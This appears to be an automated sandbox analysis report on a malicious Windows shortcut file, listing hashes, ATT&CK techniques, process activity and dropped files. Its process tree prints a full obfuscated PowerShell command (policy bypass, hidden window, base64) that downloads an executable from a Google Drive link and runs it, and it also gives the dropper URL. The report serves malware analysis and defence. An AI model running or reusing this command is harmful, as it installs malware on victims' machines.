f79b3fb8b11748b9b8a68c316c805366e05f34b9c2bf41814191d03df53522ed

General

Target

34759a7b254af5d435a747330e172602_JaffaCakes118.lnk
Size

3KB
MD5

34759a7b254af5d435a747330e172602
SHA1

d0d2d2abc845103bc0655fd6fcc74adc332d34f5
SHA256

f79b3fb8b11748b9b8a68c316c805366e05f34b9c2bf41814191d03df53522ed
SHA512

4662b3e3f21ef000f569acb096f697e074b4425df67c3d3b34611cc65873cd02f17cf80edf5ba2a3b3287bd16e268d262f2f7706de5c275afbffc587e7b5bd72

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=1SCyn_ZPahvp66p8IWBybgyebqvi_tKj8

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 2468 powershell.exe
10 2468 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4700 powershell.exe
2468 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation cmd.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

6 drive.google.com
7 drive.google.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4700 powershell.exe
4700 powershell.exe
2468 powershell.exe
2468 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4700 powershell.exe
Token: SeDebugPrivilege 2468 powershell.exe

flow	pid	process
7	2468	powershell.exe
10	2468	powershell.exe

pid	process
4700	powershell.exe
2468	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe

flow	ioc
6	drive.google.com
7	drive.google.com

pid	process
4700	powershell.exe
4700	powershell.exe
2468	powershell.exe
2468	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.execmd.exe

description	pid	process	target process
PID 3040 wrote to memory of 4700	3040	cmd.exe	powershell.exe
PID 3040 wrote to memory of 4700	3040	cmd.exe	powershell.exe
PID 4700 wrote to memory of 3504	4700	powershell.exe	cmd.exe
PID 4700 wrote to memory of 3504	4700	powershell.exe	cmd.exe
PID 3504 wrote to memory of 2468	3504	cmd.exe	powershell.exe
PID 3504 wrote to memory of 2468	3504	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\34759a7b254af5d435a747330e172602_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c pOWersHELL.exe -Ex bypasS -W hiddeN -Ec CQAMAAkAKAAJACAACQBOAEUAdwAtAG8AQgBqAGUAQwB0AAkACwAgAHMAeQBTAFQARQBtAC4ATgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAAJAAkAIAApAC4ARABvAFcATgBMAE8AYQBEAEYASQBMAEUAKAAgAAkAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxAFMAQwB5AG4AXwBaAFAAYQBoAHYAcAA2ADYAcAA4AEkAVwBCAHkAYgBnAHkAZQBiAHEAdgBpAF8AdABLAGoAOAAdIAkACwAgACwAIAALACAAHSAkAEUAbgB2ADoAVABlAG0AcABcAHAAZABmAHIAcgB0AC4AZQB4AGUAHSAgAAkAIAApAAkACQAJADsAIAAJAAkASQBuAFYAbwBLAGUALQBJAFQAZQBNACAAIAAgAB0gJABFAE4AVgA6AHQARQBtAHAAXABwAGQAZgByAHIAdAAuAGUAeABlAB0g
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4700

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c pOWersHELL.exe -Ex bypasS -W hiddeN -Ec CQAMAAkAKAAJACAACQBOAEUAdwAtAG8AQgBqAGUAQwB0AAkACwAgAHMAeQBTAFQARQBtAC4ATgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAAJAAkAIAApAC4ARABvAFcATgBMAE8AYQBEAEYASQBMAEUAKAAgAAkAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxAFMAQwB5AG4AXwBaAFAAYQBoAHYAcAA2ADYAcAA4AEkAVwBCAHkAYgBnAHkAZQBiAHEAdgBpAF8AdABLAGoAOAAdIAkACwAgACwAIAALACAAHSAkAEUAbgB2ADoAVABlAG0AcABcAHAAZABmAHIAcgB0AC4AZQB4AGUAHSAgAAkAIAApAAkACQAJADsAIAAJAAkASQBuAFYAbwBLAGUALQBJAFQAZQBNACAAIAAgAB0gJABFAE4AVgA6AHQARQBtAHAAXABwAGQAZgByAHIAdAAuAGUAeABlAB0g
3⤵
- Suspicious use of WriteProcessMemory
PID:3504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOWersHELL.exe -Ex bypasS -W hiddeN -Ec CQAMAAkAKAAJACAACQBOAEUAdwAtAG8AQgBqAGUAQwB0AAkACwAgAHMAeQBTAFQARQBtAC4ATgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAAJAAkAIAApAC4ARABvAFcATgBMAE8AYQBEAEYASQBMAEUAKAAgAAkAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxAFMAQwB5AG4AXwBaAFAAYQBoAHYAcAA2ADYAcAA4AEkAVwBCAHkAYgBnAHkAZQBiAHEAdgBpAF8AdABLAGoAOAAdIAkACwAgACwAIAALACAAHSAkAEUAbgB2ADoAVABlAG0AcABcAHAAZABmAHIAcgB0AC4AZQB4AGUAHSAgAAkAIAApAAkACQAJADsAIAAJAAkASQBuAFYAbwBLAGUALQBJAFQAZQBNACAAIAAgAB0gJABFAE4AVgA6AHQARQBtAHAAXABwAGQAZgByAHIAdAAuAGUAeABlAB0g
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3716 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
1⤵
PID:6064

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
23909774a4f0358be8e03226d73fbd61

SHA1
4df262994ce4eb3935965881c1e2dc730668da94

SHA256
6dbd177f5aa34f836bf52885c04a3a93771384ebad954911be812c039290bcad

SHA512
6ed0bfd0a498043cccf9ef2d9bebc869c4f5f2befc90636e2e3167b2d0b694c538f93aaeefe221bc08ca3962c6499f402df4934444c9f82883d3314075d5f05b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_khhcljel.s12.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4700-2-0x00007FFD84573000-0x00007FFD84575000-memory.dmp

Filesize
8KB

Download
memory/4700-12-0x0000014571520000-0x0000014571542000-memory.dmp

Filesize
136KB

Download
memory/4700-13-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/4700-14-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/4700-15-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/4700-30-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download

Analysis

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